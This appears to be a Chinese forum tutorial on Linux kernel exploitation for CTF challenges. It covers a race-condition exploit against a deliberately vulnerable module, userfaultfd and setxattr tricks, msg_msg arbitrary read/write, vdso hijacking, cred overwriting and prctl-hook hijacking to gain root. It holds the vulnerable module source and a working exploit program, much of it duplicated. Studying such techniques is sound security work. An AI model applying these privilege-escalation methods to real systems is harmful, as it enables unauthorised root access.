首页
社区
课程
招聘
[原创]Kernel从0开始(四)
发表于: 2021-11-2 12:08 28195

[原创]Kernel从0开始(四)

2021-11-2 12:08
28195

这里尝试各种各样的骚操作解法

先给出自己编写的题目源码,参照多方题目,主要还是0CTF2018-baby

主要是线程的知识。

就是如果一个变量是全局的,那么在没有锁的情况就会导致一个程序的不同线程对该全局变量进行的竞争读写操作。就像这里给出的代码,首先flag在内核模块中是静态全局的:

先检测传入的数据的地址是否是在用户空间,长度是否为flag的长度,传入的所有数据是否处在用户空间。如果都是,再判断传入的数据与flag是否一致,一致则打印flag,否则打印Wrong然后退出。

这么一看好像无法得到flag,首先flag我们不知道,是硬编码在内核模块中的。其次就算无法传入内核模块中的地址,意味着就算我们获得了内核模块中flag的地址和长度,传进去也会判定失败。

但是这是建立在一个线程中的,如果是多个线程呢。在我们传入用户空间的某个数据地址和长度之后,先进入程序的if语句,也就是进入如下if语句

然后在检测flag数据之前,也就是如下if语句之前,启动另外一个线程把传入的该数据地址给改成内核模块的flag的数据地址,这样就能成功打印flag了。

那么就直接给出POC,这里涉及到一些线程的操作,可以自己学习一下。

最后如下效果:

image-20211019152909777

需要注意的是在gcc编译的时候需要加上-lpthread多线程的参数。还有线程的回调函数必须传入至少一个参数,不管该参数在里面有没有被用到。

关于这个实在是有点多,涉及的知识也有点多,具体的可以看,版本在v4.3及以上才可用

Linux Kernel Userfaultfd 内部机制探究 - BrieflyX's Base

从强网杯 2021 线上赛题目 notebook 中浅析 userfaultfd 在 kernel pwn 中的利用 - 安全客,安全资讯平台 (anquanke.com)

主要就是使用方法,以及是否可用

在我们编译内核的时候,需要加入如下的选项在.config中

不然当我们尝试使用如下代码注册时,就会返回-1,表示失败

在v5.11及以上的版本中加入了如下限制

也就是说,必须要是root权限才可以使用该机制

探究完了是否可用,再来看看使用方法,同样在上面给出的链接中有一个板子,尝试拿来用一下

如下效果:

可以看到在试图打印被我们申请读写保护的区域时,会调用到我们的test_thread函数中

通常意义上来讲,UserFaultFD是用在多线程下,用来制造double-free或者UAF的。而在比较严苛的条件下,比如,没法写,或者没办法读的时候,就需要配合以下的两个知识点。

调用链为

代码如下

关注点在kvmalloccopy_from_userkvfree

kvmalloc中的size可控,copy_from_user中的value可控

也就是说当freelist中存在我们需要修改的chunk,而该chunk又是我们控制的某个设备内存块时,(通过double-free或者UAF实现)那么我们就可以通过setxattr来对该设备内存进行任意写。虽然最后会释放,但是也只会影响内存块中存放下一个chunk地址处的内容0x8个字节,而当我们用不着这个地方的内容时,就不用太关注了。

使用的时候需要注意指定一个当前的exp程序,类似如下,第二个参数字符串任意。

这个下面新创一个点,方便标题跳转

承接上面的知识点

这个在之前也总结过,不过总结得有些错误,也不太完善,这里再好好总结一下

修改时间:2022-05-12

参照:【NOTES.0x08】Linux Kernel Pwn IV:通用结构体与技巧 - arttnba3's blog

Linux内核中利用msg_msg结构实现任意地址读写 - 安全客,安全资讯平台 (anquanke.com)

Linux的进程间通信 - 消息队列 · Poor Zorro's Linux Book (gitbooks.io)

《Linux/Unix系统编程手册》

首先创建queue_id管理标志,对应于内核空间的msg_queue管理结构

使用简单封装的msgget函数或者系统调用号__NR_msgget,之后保存数据的消息就会在这个queue_id管理标志,以及内核空间的msg_queue管理结构下进行创建

写入消息:

然后就可以依据queue_id写入消息了,不同于pipesocketpair,这个需要特定的封装函数(msgsnd/msgrcv)或者对应的系统调用(__NR_msgrcv/__NR_msgsnd)来实现。

读取消息:

之后即可依据queue_id读取消息

mtype

可通过设置该值来实现不同顺序的消息读取,在之后的堆块构造中很有用

msg_flag

可以关注一下MSG_NOERROR标志位,比如说msg_flag没有设置MSG_NOERROR的时候,那么情况如下:

假定获取消息时输入的长度m_ts_size0x200,且这个长度大于通过find_msg()函数获取到的消息长度0x200,则可以顺利读取,如果该长度小于获取到的消息长度0x200,则会出现如下错误

但是如果设置了MSG_NOERROR,那么即使传入接收消息的长度小于获取到的消息长度,仍然可以顺利获取,但是多余的消息会被截断,相关内存还是会被释放,这个在源代码中也有所体现。

此外还有更多的msg_flag,就不一一举例了。

这个主要是用到msgctl封装函数或者__NR_msgctl系统调用,直接释放掉所有的消息结构,包括申请的msg_queue的结构

不过一般也用不到,可能某些合并obj的情况能用到?

此外还有更多的cmd命令,常用来设置内核空间的msg_queue结构上的相关数据,不过多介绍了。

总结一下大致的使用方法如下

还是需要先创建msg_queue结构体,使用msgget函数,调用链为

主要还是关注最后的newque()函数,在该函数中使用kvmalloc()申请堆块,大小为0x100,属于kmalloc-256,(不同版本大小貌似不同)。

创建的结构体如下所示

接着当使用msgsnd函数传递消息时,会创建新的msg_msg结构体,消息过长的话就会创建更多的msg_msgseg来存储更多的消息。相关的函数调用链如下:

主要还是关注在alloc_msg()函数

msg_msg结构体如下,头部大小0x30

如下所示

<img src="https://pig-007.oss-cn-beijing.aliyuncs.com/img/image-20220511220130886.png" alt="image-20220511220130886" style="zoom:80%;" />

msg_msgseq结构如下,只是一个struct msg_msgseg*指针

如下所示

<img src="https://pig-007.oss-cn-beijing.aliyuncs.com/img/image-20220511220627775.png" alt="image-20220511220627775" style="zoom:80%;" />

在一个msg_queue队列下,消息长度为0x1000-0x30-0x8-0x8-0x8

一条消息:

image-20220511231539231

两条消息:

msg_queuestruct list_head q_messages;域为链表头,和msg_msg结构的struct list_head m_list域串联所有的msg_msg形成双向循环链表

未命名文件

同理,同一个msg_queue消息队列下的多条消息也是类似的

调用完alloc_msg()函数后,回到load_msg()函数接着进行数据复制,函数还是挺简单的。

相关的函数调用链

首先关注一下do_msgrcv()函数,里面很多东西都比较重要

一般而言,我们使用msg_msg进行堆构造(比如溢出或者其他什么的)的时候,当需要从消息队列中读取消息而又不想释放该堆块时,会结合MSG_COPY这个msgflg标志位,防止在读取的时候发生堆块释放从而进行双向循环链表的unlink触发错误。

使用这个标志位还需要在内核编译的时候设置CONFIG_CHECKPOINT_RESTORE=y才行,否则还是会出错的

注:还有一点不知道是不是什么bug,在某些内核版本中,至少我的v5.11中,MSG_NOERRORMSG_COPY(后续会讲到)没有办法同时生效,关键点在于copy_msg()函数中,转化成汇编如下:

image-20220512163536660

注意到红框的部分,获取rdi(msg)rsi(copy)对应的m_ts进行比较,而copym_ts是从用户传进来的想要获取消息的长度,如果小于实际的msgm_ts长度,那就标记错误然后退出。可以这个比较应该是在后面才会进行的,但是这里也突然冒出来,就很奇怪,导致这两个标志位没办法同时发挥作用。

同理如果不指定MSG_COPY这个标志时,从消息队列中读取消息就会触发内存释放,这里就可以依据发送消息时设置的mtype和接收消息时设置的msgtpy来进行消息队列中各个位置的堆块的释放。

不管什么标志位,只要不是MSG_NOERRORMSG_COPY联合起来,并且申请读取消息长度size小于通过find_msg()函数获取到的实际消息的m_ts,那么最终都会走到do_msgrcv()函数的末尾,通过如下代码进行数据复制和堆块释放

这样,当我们通过之前提到的double-free/UAF,并且再使用setxattr来对msg_msgmsg中的m_ts进行修改,这样在我们调用msgrcv的时候就能越界从堆上读取内存了,就可能能够泄露到堆地址或者程序基地址。

使用setxattr的时候需要注意释放堆块时FD的位置,不同内核版本开启不同保护下FD的位置不太一样

为了获取到地址的成功性更大,我们就需要用到单个msg_queue和单个msg_msg的内存模型

image-20220511113542467

可以看到单个msg_msgmsg_queue的管理下形成双向循环链表,所以如果我们通过msggetmsgsnd多申请一些相同大小的且只有一个msg_msg结构体的msg_queue,那么越界读取的时候,就可以读取到只有单个msg_msg的头部了

而单个msg_msg由于双向循环链表,其头部中又存在指向msg_queue的指针,那么这样就能泄露出msg_queue的堆地址了。

完成上述泄露msg_queue的堆地址之后,就需要用到msg_msg的内存布局了

由于我们的msg_msg消息的内存布局如下

5IcVxRaFQtg3HCW

相关读取源码如下:

所以如果我们可以修改next指针和m_ts,结合读取msg最终调用函数store_msg的源码,那么就能够实现任意读取。

那么接着上面的,我们得到msg_queue之后,可以再将msg_msg的next指针指回msg_queue,读出其中的msg_msg,就能获得当前可控堆块的堆地址。

这样完成之后,我们结合userfaultfdsetxattr频繁修改next指针就能基于当前堆地址来进行内存搜索了,从而能够完成地址泄露。

同时需要注意的是,判断链表是否结束的依据为next是否为null,所以我们任意读取的时候,最好找到一个地方的next指针处的值为null。

同样的,msg_msg由于next指针的存在,结合msgsnd也具备任意地址写的功能。我们可以在拷贝的时候利用userfaultfd停下来,然后更改next指针,使其指向我们需要的地方,比如init_cred结构体位置,从而直接修改进行提权。

内核里的读写漏洞利用方式与用户态有点不太一样,利用方式也是多种多样。

首先给出下题目

可以看到传入一个结构体,包含数据指针和地址,直接任意读写。

vdso的代码数据在内核里,当程序需要使用时,会将vdso的内核映射给进程,也就是相当于把内核空间的vdso原封不动地复制到用户空间,然后调用在用户空间的vdso代码。

如果我们能够将vdso给劫持为shellcode,那么当具有root权限的程序调用vdso时,就会触发我们的shellcode,而具有root权限的shellcode可想而知直接就可以。而vdso是经常会被调用的,所有只要我们劫持了vdso,大概率都会运行到我们的shellcode。

真实环境中crontab会调用vdso中的gettimeofday,且是root权限的调用。

而ctf题目中就通常可以用一个小程序来模拟调用。

将这个程序编译后放到init中,用nohup挂起,即可做到root权限调用gettimeofday:

由于不同版本的linux内核中的vdso偏移不同,而题目给的vmlinux通常又没有符号表,所以需要我们自己利用任意读漏洞来测量。(如果题目没有任意读漏洞,建议可以自己编译一个对应版本的内核,然后自己写一个具备任意读的模块,加载之后测量即可,或者进行爆破,一般需要爆破一个半字节)

例如这里给出的代码示例,就可以通过如下代码来将vdso从内核中dump下来。不过这种方式dump的是映射到用户程序的vdso,虽然内容是一样的,不过vdso在内核中的偏移却没有办法确定。

这种方法的原理是通过寻找gettimeofday字符串来得到映射到程序中的vdso的内存页,如下:

image-20211020150011934

之后把下面的内容都复制,放到CyberChef中,利用From Hex功能得到二进制文件

image-20211020150220448

然后就将得到的文件放到IDA中,即可自动解析到对应gettimeofday函数相对于vdso的函数偏移。

image-20211020150335000

这里就当是0xb20。

之后通过任意读,类似基于本题编写的以下代码,获取vdso相对于vmlinux基址的偏移。

之后得到具体的地址

image-20211020150723942

那么最终的gettimeofday相对于vmlinux基地址就是

最终利用任意写,将gettimeofday函数的内容改为我们的shellcode即可

参考:

(15条消息) linux kernel pwn学习之劫持vdso_seaaseesa的博客-CSDN博客

还有bsauce师傅的简书:https://www.jianshu.com/p/07994f8b2bb0

这个没啥好讲的,就是覆盖uig和gid为零蛋就行,唯一需要的就是寻找cred的地址。

task_srtuct结构体是每个进程都会创建的一个结构体,保存当前进程的很多内容,其中就包括当前进程的cred结构体指针。

给出的题目编译在4.4.72内核下。

也就是可以将comm[TASK_COMM_LEN]设置为指定的字符串,相当于打个标记,不过不同版本中可能有所不同,不如最新版本V5.14.13的Linux内核就有所不同,其中还加了一个key结构体指针:

然后就可以利用prctl函数的PR_SET_NAME功能来设置task_struct结构体中的comm[TASK_COMM_LEN]成员。

通过内存搜索,比对我们输入的标记字符串,可以定位comm[TASK_COMM_LEN]成员地址,比如设置标记字符串为"tryToFindPIG007":

image-20211020162844474

image-20211020162934065

image-20211020163051697

可以查看当前Cred结构中的内容:

image-20211020163136129

这个就不多说了,获取到cred地址之后直接写就行了

不过这个如果不加判断 if ((cred||0xff00000000000000) && (real_cred == cred))搜索出来的cred可能就不是当前进程,具有一定概率性,具体原因不知,可能是搜索到了用户进程下的字符串?

image-20211020165201267

prctl->security_task_prctl->*prctl_hook

orderly_poweroff->__orderly_poweroff->run_cmd(poweroff_cmd)-> call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC)

image-20211021000903293

原本capability_hooks+440存放的是cap_task_prctl的地址

image-20211021001258001

但是经过我们的劫持之后存放的是orderly_poweroff的地址

image-20211021001355490

之前讲的prctl_hook指的就是capability_hooks+440。

这样劫持之后我们就能调用到orderly_poweroff函数了。

而orderly_poweroff函数中会调用实际__orderly_poweroff函数,有如下代码

这里就调用到run_cmd(poweroff_cmd),而run_cmd函数有如下代码

这里就调用到call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC),这里的参数rdi中就是

poweroff_cmd。所以如果我们可以劫持poweroff_cmd为我们的程序名字字符串,那么就可以调用call_usermodehelpe函数来启动我们的程序。而poweroff_cmd是一个全局变量,可以直接获取地址进行修改。

image-20211021002640262

而call_usermodehelpe函数启动程序时是以root权限启动的,所以如果我们的程序运行/bin/sh且以root权限启动,那么就完成了提权。

可以通过编写一个小程序,然后给security_task_prctl函数下断点,运行到call QWORD PTR[rbx+0x18]即可看到对应的rbx+0x18上存放的地址,将其修改为orderly_poweroff函数即可。

可以直接使用nm命令来获取,或者直接进入gdb打印即可。

image-20211021105456058

此外orderly_poweroff也是一样的获取。如果无法查到,那么可以启动qemu,先设置为root权限后

cat /proc/kallsyms | grep "orderly_poweroff"即可,或者编译一个对应版本的内核进行查询。

image-20211021105603666

▲最后fork一个子进程来触发反弹shell即可

或者直接system("chmod 777 /flag");也是获取flag的一种方式。

▲vdso的劫持一直没有复现成功过,明明已经劫持gettimeofday函数的内容为shellcode,然后也挂载了循环调用gettimeofday的程序,但是就是运行不了shellcode。

参考:

Kernel Pwn 学习之路 - 番外 - 安全客,安全资讯平台 (anquanke.com)

https://www.jianshu.com/p/07994f8b2bb0

https://blog.csdn.net/seaaseesa/article/details/104695399

#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
 
//设备驱动常用变量
//static char *buffer_var = NULL;
static char *buffer_var = NULL;
static struct class *devClass; // Global variable for the device class
static struct cdev cdev;
static dev_t condition_dev_no;
 
 
struct flagStruct
{
    int len;
    char* flagUser;
};
 
 
 
static struct flagStruct* flagObj;
static char* flag = "flag{PIG007NBHH}";
 
static long condition_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
 
static int condition_open(struct inode *i, struct file *f);
 
static int condition_close(struct inode *i, struct file *f);
 
static bool chk_range_not_ok(ssize_t v1,ssize_t v2);
 
 
static struct file_operations condition_fops =
        {
                .owner = THIS_MODULE,
                .open = condition_open,
                .release = condition_close,
                .unlocked_ioctl = condition_ioctl
        };
 
// 设备驱动模块加载函数
static int __init condition_init(void)
{
    printk(KERN_INFO "[i] Module condition registered");
    if (alloc_chrdev_region(&condition_dev_no, 0, 1, "condition") < 0)
    {
        return -1;
    }
    if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
    {
        unregister_chrdev_region(condition_dev_no, 1);
        return -1;
    }
    if (device_create(devClass, NULL, condition_dev_no, NULL, "condition") == NULL)
    {
        printk(KERN_INFO "[i] Module condition error");
        class_destroy(devClass);
        unregister_chrdev_region(condition_dev_no, 1);
        return -1;
    }
    cdev_init(&cdev, &condition_fops);
    if (cdev_add(&cdev, condition_dev_no, 1) == -1)
    {
        device_destroy(devClass, condition_dev_no);
        class_destroy(devClass);
        unregister_chrdev_region(condition_dev_no, 1);
        return -1;
    }
 
    printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(condition_dev_no), MINOR(condition_dev_no));
    return 0;
 
}
 
// 设备驱动模块卸载函数
static void __exit condition_exit(void)
{
    // 释放占用的设备号
    unregister_chrdev_region(condition_dev_no, 1);
    cdev_del(&cdev);
}
 
 
 
 
// ioctl函数命令控制
long condition_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    int retval = 0;
    printk(KERN_INFO "Ioctl Get!\n");
    switch (cmd) {
        case 111: //doubleCon  //get flag_addr
            printk("Your flag is at %llx! But I don't think you know it's content\n",flag);
            break;
 
        case 222: //doubleCon  //print flag
            flagObj =  (struct flagStruct*)arg;
            ssize_t userFlagAddr = flagObj->flagUser;
            ssize_t userFlagObjAddr = (ssize_t)flagObj;
 
            if(chk_range_not_ok(userFlagAddr,flagObj->len)
                &&chk_range_not_ok(userFlagObjAddr,0)
                &&(flagObj->len == strlen(flag)))
 
            {
                if(!strncmp(flagObj->flagUser,flag,strlen(flag)))
                    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
                else
                    printk("Wrong!");
                break;
            }
            else
            {
                printk("Wrong!\n");
                break;
            }
        default:
            retval = -1;
            break;
    }   
 
    return retval;
 
}
 
 
static bool chk_range_not_ok(ssize_t v1,ssize_t v2)
{
    if((v1 + v2) <= 0x7ffffffff000)
        return true;
    else
        return false;
}
 
static int condition_open(struct inode *i, struct file *f)
{
    printk(KERN_INFO "[i] Module condition: open()\n");
    return 0;
}
 
static int condition_close(struct inode *i, struct file *f)
{
    kfree(buffer_var);
    //buffer_var = NULL;
    printk(KERN_INFO "[i] Module condition: close()\n");
    return 0;
}
 
module_init(condition_init);
module_exit(condition_exit);
 
MODULE_LICENSE("GPL");
// MODULE_AUTHOR("blackndoor");
// MODULE_DESCRIPTION("Module vuln overflow");
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
 
//设备驱动常用变量
//static char *buffer_var = NULL;
static char *buffer_var = NULL;
static struct class *devClass; // Global variable for the device class
static struct cdev cdev;
static dev_t condition_dev_no;
 
 
struct flagStruct
{
    int len;
    char* flagUser;
};
 
 
 
static struct flagStruct* flagObj;
static char* flag = "flag{PIG007NBHH}";
 
static long condition_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
 
static int condition_open(struct inode *i, struct file *f);
 
static int condition_close(struct inode *i, struct file *f);
 
static bool chk_range_not_ok(ssize_t v1,ssize_t v2);
 
 
static struct file_operations condition_fops =
        {
                .owner = THIS_MODULE,
                .open = condition_open,
                .release = condition_close,
                .unlocked_ioctl = condition_ioctl
        };
 
// 设备驱动模块加载函数
static int __init condition_init(void)
{
    printk(KERN_INFO "[i] Module condition registered");
    if (alloc_chrdev_region(&condition_dev_no, 0, 1, "condition") < 0)
    {
        return -1;
    }
    if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
    {
        unregister_chrdev_region(condition_dev_no, 1);
        return -1;
    }
    if (device_create(devClass, NULL, condition_dev_no, NULL, "condition") == NULL)
    {
        printk(KERN_INFO "[i] Module condition error");
        class_destroy(devClass);
        unregister_chrdev_region(condition_dev_no, 1);
        return -1;
    }
    cdev_init(&cdev, &condition_fops);
    if (cdev_add(&cdev, condition_dev_no, 1) == -1)
    {
        device_destroy(devClass, condition_dev_no);
        class_destroy(devClass);
        unregister_chrdev_region(condition_dev_no, 1);
        return -1;
    }
 
    printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(condition_dev_no), MINOR(condition_dev_no));
    return 0;
 
}
 
// 设备驱动模块卸载函数
static void __exit condition_exit(void)
{
    // 释放占用的设备号
    unregister_chrdev_region(condition_dev_no, 1);
    cdev_del(&cdev);
}
 
 
 
 
// ioctl函数命令控制
long condition_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    int retval = 0;
    printk(KERN_INFO "Ioctl Get!\n");
    switch (cmd) {
        case 111: //doubleCon  //get flag_addr
            printk("Your flag is at %llx! But I don't think you know it's content\n",flag);
            break;
 
        case 222: //doubleCon  //print flag
            flagObj =  (struct flagStruct*)arg;
            ssize_t userFlagAddr = flagObj->flagUser;
            ssize_t userFlagObjAddr = (ssize_t)flagObj;
 
            if(chk_range_not_ok(userFlagAddr,flagObj->len)
                &&chk_range_not_ok(userFlagObjAddr,0)
                &&(flagObj->len == strlen(flag)))
 
            {
                if(!strncmp(flagObj->flagUser,flag,strlen(flag)))
                    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
                else
                    printk("Wrong!");
                break;
            }
            else
            {
                printk("Wrong!\n");
                break;
            }
        default:
            retval = -1;
            break;
    }   
 
    return retval;
 
}
 
 
static bool chk_range_not_ok(ssize_t v1,ssize_t v2)
{
    if((v1 + v2) <= 0x7ffffffff000)
        return true;
    else
        return false;
}
 
static int condition_open(struct inode *i, struct file *f)
{
    printk(KERN_INFO "[i] Module condition: open()\n");
    return 0;
}
 
static int condition_close(struct inode *i, struct file *f)
{
    kfree(buffer_var);
    //buffer_var = NULL;
    printk(KERN_INFO "[i] Module condition: close()\n");
    return 0;
}
 
module_init(condition_init);
module_exit(condition_exit);
 
MODULE_LICENSE("GPL");
// MODULE_AUTHOR("blackndoor");
// MODULE_DESCRIPTION("Module vuln overflow");
 
static char* flag = "flag{PIG007NBHH}";
//--------------------------------------------------
if(chk_range_not_ok(userFlagAddr,flagObj->len)
   &&chk_range_not_ok(userFlagObjAddr,0)
   &&(flagObj->len == strlen(flag)))
 
{
    if(!strncmp(flagObj->flagUser,flag,strlen(flag)))
        printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    else
        printk("Wrong!");
    break;
}
else
{
    printk("Wrong!\n");
    break;
}
static char* flag = "flag{PIG007NBHH}";
//--------------------------------------------------
if(chk_range_not_ok(userFlagAddr,flagObj->len)
   &&chk_range_not_ok(userFlagObjAddr,0)
   &&(flagObj->len == strlen(flag)))
 
{
    if(!strncmp(flagObj->flagUser,flag,strlen(flag)))
        printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    else
        printk("Wrong!");
    break;
}
else
{
    printk("Wrong!\n");
    break;
}
 
if(chk_range_not_ok(userFlagAddr,flagObj->len)
   &&chk_range_not_ok(userFlagObjAddr,0)
   &&(flagObj->len == strlen(flag)))
if(chk_range_not_ok(userFlagAddr,flagObj->len)
   &&chk_range_not_ok(userFlagObjAddr,0)
   &&(flagObj->len == strlen(flag)))
if(!strncmp(flagObj->flagUser,flag,strlen(flag)))
if(!strncmp(flagObj->flagUser,flag,strlen(flag)))
// gcc -static exp.c -lpthread -o exp
#include <string.h>
//char *strstr(const char *haystack, const char *needle);
//#define _GNU_SOURCE         /* See feature_test_macros(7) */
//char *strcasestr(const char *haystack, const char *needle);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
 
#define TRYTIME 0x1000
 
 
struct flagStruct
{
    int len;
    char* flagUseAddr;
};
struct flagStruct flagChunk;
 
 
//open dev
int openDev(char* pos);
 
 
char readFlagBuf[0x1000+1]={0};
int finish =0;
unsigned long long flagKerneladdr;
void changeFlagAddr(void* arg);
 
int main(int argc, char *argv[])
{
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
 
    int devFD;
    int addrFD;
    unsigned long memOffset;
    pthread_t thread;
 
    //open Dev
    char* pos = "/dev/condition";
    devFD = openDev(pos);
 
    char flagBuf[16] = {0};
    flagReadFun(devFD,16,flagBuf);
 
 
    system("dmesg > /tmp/record.txt");
    addrFD = open("/tmp/record.txt",O_RDONLY);
    lseek(addrFD,-0x1000,SEEK_END);
    read(addrFD,readFlagBuf,0x1000);
    close(addrFD);
    int flagIdxInBuf;
    flagIdxInBuf = strstr(readFlagBuf,"Your flag is at ");
    if (flagIdxInBuf == 0){
        printf("[-]Not found addr");
        exit(-1);
    }
    else{
        flagIdxInBuf+=16;
        flagKerneladdr = strtoull(flagIdxInBuf,flagIdxInBuf+16,16);
        printf("[+]flag addr: %p\n",flagKerneladdr);
    }
 
    pthread_create(&thread, NULL, changeFlagAddr,&flagChunk);
    for(int i=0;i<TRYTIME;i++){
        flagJudgeFun(devFD,16,&flagBuf);
    }
    finish = 1;
    pthread_join(thread, NULL);
 
    close(devFD);
    puts("[+]result is :");
    system("dmesg | grep flag");
    return 0;
}
 
 
int openDev(char* pos){
    int devFD;
    printf("[+] Open %s...\n",pos);
    if ((devFD = open(pos, O_RDWR)) < 0) {
        printf("    Can't open device file: %s\n",pos);
        exit(1);
    }
    return devFD;
}
 
void flagReadFun(int devFD,int len,char *buf)
{
    flagChunk.len = len;
    flagChunk.flagUseAddr = buf;
    ioctl(devFD,111,&flagChunk);
}
 
 
void flagJudgeFun(int devFD,int len,char *buf)
{
    flagChunk.len = len;
    flagChunk.flagUseAddr = buf;
    ioctl(devFD,222,&flagChunk);
}
 
void changeFlagAddr(void* arg){
    struct flagStruct * flagPTChunk = arg;
    while(finish==0){
        //s1->flagUseAddr = flagKerneladdr;
        flagPTChunk->flagUseAddr = flagKerneladdr;
    }
}
// gcc -static exp.c -lpthread -o exp
#include <string.h>
//char *strstr(const char *haystack, const char *needle);
//#define _GNU_SOURCE         /* See feature_test_macros(7) */
//char *strcasestr(const char *haystack, const char *needle);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
 
#define TRYTIME 0x1000
 
 
struct flagStruct
{
    int len;
    char* flagUseAddr;
};
struct flagStruct flagChunk;
 
 
//open dev
int openDev(char* pos);
 
 
char readFlagBuf[0x1000+1]={0};
int finish =0;
unsigned long long flagKerneladdr;
void changeFlagAddr(void* arg);
 
int main(int argc, char *argv[])
{
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
 
    int devFD;
    int addrFD;
    unsigned long memOffset;
    pthread_t thread;
 
    //open Dev
    char* pos = "/dev/condition";
    devFD = openDev(pos);
 
    char flagBuf[16] = {0};
    flagReadFun(devFD,16,flagBuf);
 
 
    system("dmesg > /tmp/record.txt");
    addrFD = open("/tmp/record.txt",O_RDONLY);
    lseek(addrFD,-0x1000,SEEK_END);
    read(addrFD,readFlagBuf,0x1000);
    close(addrFD);
    int flagIdxInBuf;
    flagIdxInBuf = strstr(readFlagBuf,"Your flag is at ");
    if (flagIdxInBuf == 0){
        printf("[-]Not found addr");
        exit(-1);
    }
    else{
        flagIdxInBuf+=16;
        flagKerneladdr = strtoull(flagIdxInBuf,flagIdxInBuf+16,16);
        printf("[+]flag addr: %p\n",flagKerneladdr);
    }
 
    pthread_create(&thread, NULL, changeFlagAddr,&flagChunk);
    for(int i=0;i<TRYTIME;i++){
        flagJudgeFun(devFD,16,&flagBuf);
    }
    finish = 1;
    pthread_join(thread, NULL);
 
    close(devFD);
    puts("[+]result is :");
    system("dmesg | grep flag");
    return 0;
}
 
 
int openDev(char* pos){
    int devFD;
    printf("[+] Open %s...\n",pos);
    if ((devFD = open(pos, O_RDWR)) < 0) {
        printf("    Can't open device file: %s\n",pos);
        exit(1);
    }
    return devFD;
}
 
void flagReadFun(int devFD,int len,char *buf)
{
    flagChunk.len = len;
    flagChunk.flagUseAddr = buf;
    ioctl(devFD,111,&flagChunk);
}
 
 
void flagJudgeFun(int devFD,int len,char *buf)
{
    flagChunk.len = len;
    flagChunk.flagUseAddr = buf;
    ioctl(devFD,222,&flagChunk);
}
 
void changeFlagAddr(void* arg){
    struct flagStruct * flagPTChunk = arg;
    while(finish==0){
        //s1->flagUseAddr = flagKerneladdr;
        flagPTChunk->flagUseAddr = flagKerneladdr;
    }
}
 
 
 
 
 
CONFIG_USERFAULTFD=y
CONFIG_USERFAULTFD=y
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
//fs/userfaultfd.c
if (!sysctl_unprivileged_userfaultfd &&
    (flags & UFFD_USER_MODE_ONLY) == 0 &&
    !capable(CAP_SYS_PTRACE)) {
    printk_once(KERN_WARNING "uffd: Set unprivileged_userfaultfd "
                "sysctl knob to 1 if kernel faults must be handled "
                "without obtaining CAP_SYS_PTRACE capability\n");
    return -EPERM;
}
//fs/userfaultfd.c
if (!sysctl_unprivileged_userfaultfd &&
    (flags & UFFD_USER_MODE_ONLY) == 0 &&
    !capable(CAP_SYS_PTRACE)) {
    printk_once(KERN_WARNING "uffd: Set unprivileged_userfaultfd "
                "sysctl knob to 1 if kernel faults must be handled "
                "without obtaining CAP_SYS_PTRACE capability\n");
    return -EPERM;
}
#include <sys/types.h>
#include <sys/xattr.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
 
static char     *page = NULL;
static size_t   page_size;
static pthread_t monitor_thread;
 
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*));
void errExit(char *msg);
static void * test_thread(void *arg);
 
 
int main(int argc, char *argv[])
{
    char *uffd_buf_leak;
    page = malloc(0x1000);
    for(int i = 0 ; i < 0x20 ; i ++)
    {
        page[i] == "\x62";
    }
    page_size = sysconf(_SC_PAGE_SIZE);
 
    //申请一块保护内存,我们对该内存进行读写操作就会被userfaultfd给捕获,从而进入到test_thread函数中
    uffd_buf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    registerUserFaultFd(uffd_buf, page_size, test_thread);
    printf("\033[1;31;40m[Test:]%016llx\033[0m\n",*uffd_buf);
}
 
 
static void * test_thread(void *arg)
{
    struct uffd_msg msg;
    int fault_cnt = 0;
    long uffd;
 
    struct uffdio_copy uffdio_copy;
    ssize_t nread;
 
    uffd = (long) arg;
 
 
    for (;;)
    {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);
 
 
 
        //自定义代码区域----------------------
